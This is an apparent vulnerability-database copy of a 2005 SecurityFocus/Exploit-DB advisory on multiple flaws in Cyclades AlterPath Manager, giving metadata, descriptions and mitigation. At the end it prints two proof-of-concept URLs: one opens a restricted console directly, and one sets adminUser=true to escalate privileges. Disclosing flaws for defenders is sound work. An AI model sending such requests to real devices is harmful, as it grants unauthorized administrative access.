Cyclades AlterPath Manager Multiple Remote Vulnerabilities

vendor:

AlterPath Manager

by:

SecurityFocus

7.5

CVSS

HIGH

Information Disclosure, Unauthorized Access, Privilege Escalation

200, 264, 285

CWE

Product Name: AlterPath Manager

Affected Version From: 1.1.2000

Affected Version To: 1.1.2000

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Cyclades AlterPath Manager Multiple Remote Vulnerabilities

Cyclades AlterPath Manager is a network device designed to facilitate remote administration of all network-accessible infrastructure resources. Multiple remote vulnerabilities affect Cyclades AlterPath Manager. These issues are due to various design errors that affect the overall security of the vulnerable device. An attacker may leverage these issues to gain unauthorized access to network-based resources, to gain escalated privileges and to gain access to potentially sensitive information. It should be noted that although only version 1.1.0 of the software is reported affected by these issues, it is likely earlier versions are affected as well.

Mitigation:

Ensure that all software is up to date and patched with the latest security updates. Restrict access to the vulnerable device to trusted users only.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/12649/info

Cyclades AlterPath Manager is a network device designed to facilitate remote administration of all network-accessible infrastructure resources.

Multiple remote vulnerabilities affect Cyclades AlterPath Manager. These issues are due to various design errors that affect the overall security of the vulnerable device.

The first issue is an information disclosure issue. The second would allow unauthorized access to restricted console resources. Finally the third issue will facilitate privilege escalation.

An attacker may leverage these issues to gain unauthorized access to network-based resources, to gain escalated privileges and to gain access to potentially sensitive information.

It should be noted that although only version 1.1.0 of the software is reported affected by these issues, it is likely earlier versions are affected as well. 

To access a restricted console resource:
http://www.example.com/usermode/consoleConnect.jsp?consolename=console_name

To gain escalated privileges:
http://www.example.com/application/saveUser.do?userId=9&password=&userName=my_id&fullName=My+name&department=Security&location=Work&phone=555-1212&mobile=&pager=&email=test%40example.com&status=Enable&localPassword=true&adminUser=true&forward=&action=Save